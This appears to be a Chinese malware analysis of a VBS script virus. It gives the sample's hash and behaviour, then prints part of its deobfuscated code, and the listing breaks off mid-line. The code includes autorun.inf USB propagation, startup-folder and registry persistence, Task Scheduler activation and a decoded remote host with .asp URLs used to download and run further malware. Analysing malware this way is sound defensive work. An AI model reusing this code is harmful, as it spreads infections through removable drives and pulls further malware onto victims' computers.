vbs病毒分析.docVIP

病毒名称：.vbs MD5: 64ea1c0e8f653984f0fde25b77f8494f 此病毒是VBS脚本病毒，多重加密，通过U盘进行传播感染，设置注册表自启动，每过一段时间运行，通过设置特定条件，进行其他恶意行为。网上卸载其他恶意程序并执行。破坏系统隐藏属性。 整理一下主主体代码： j=\ :til=SY ‘autorun.inf中的节名 :btj=900: vs=.vbs :ve=.vbe :cm=%comspec% /c ‘cmd :dfo=/u#t/ :inf=\autorun.inf ‘自启动文件 set ws=createobject(wscript.shell): set fso=createobject(scripting.filesystemobject) set wmi=getobject(winmgmts:\\.\root\cimv2): set sis=wmi.execquery(select * from win32_operatingsystem) set dc=fso.drives: set ats=wmi.execquery(select * from win32_service where name=Schedule) for each atc in ats: cat=atc.state: next: if cat=Stopped then ws.run net start task scheduler,0,false ouw=wscript.scriptfullname: scriptfullname win=fso.getspecialfolder(0)j: C:\WINDOWS dir=fso.getspecialfolder(1)j C:\WINDOWS\system32 tmp=fso.getspecialfolder(2)j: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp wbe=dirwbem\: mir=left(ouw,len(ouw)-len(wscript.scriptname)) cnr=\computername: cnp=HKLM\system\currentcontrolset\controlcnrcnrcnr: cna=rr(cnp,0): if cna= then cna=til wsc=wscript.exe csc=cscript.exe css=csc //nologo wsr=rn:createobject(wscript.shell).run c=vbcrlf -----------------inc------------------------ SY[autorun] open=wscript.exe .\.vbsshell\open\command=wscript.exe .\.vbs shell\open\default=1 inc=tilc[autorun]copen=wsc .\vscshell\open\command=wsc .\vscshell\open\default=1 -----------------inc------------------------ sf=shell folders\: rop=\software\microsoft\windows\currentversion\explorer\: dap=rr(HKCUropsfdesktop,0)j C:\Documents and Settings\Administrator\桌面\ rpa=HKLM\software\cnaj: HKLM\software\QUBY-9B3768E839\ fsp=rr(HKLMropsfcommon startup,0)jvs: C:\Documents and Settings\All Users\「开始」菜单\程序\启动\.vbs fap=rr(HKCUropsffavorites,0)j C:\Documents and Settings\Administrator\Favorites\ ht=ec(ivwt?56): http\\ ha=ec(:;9:75kw9): 996628.cn/ hb=hl1;=6xhlr; |1;=6x|r; hc=0dwuEpE: 0dwuEpE hd=ec($+hc): #.asp?i= he=ec(c+hc) b.asp?i= rsp=HK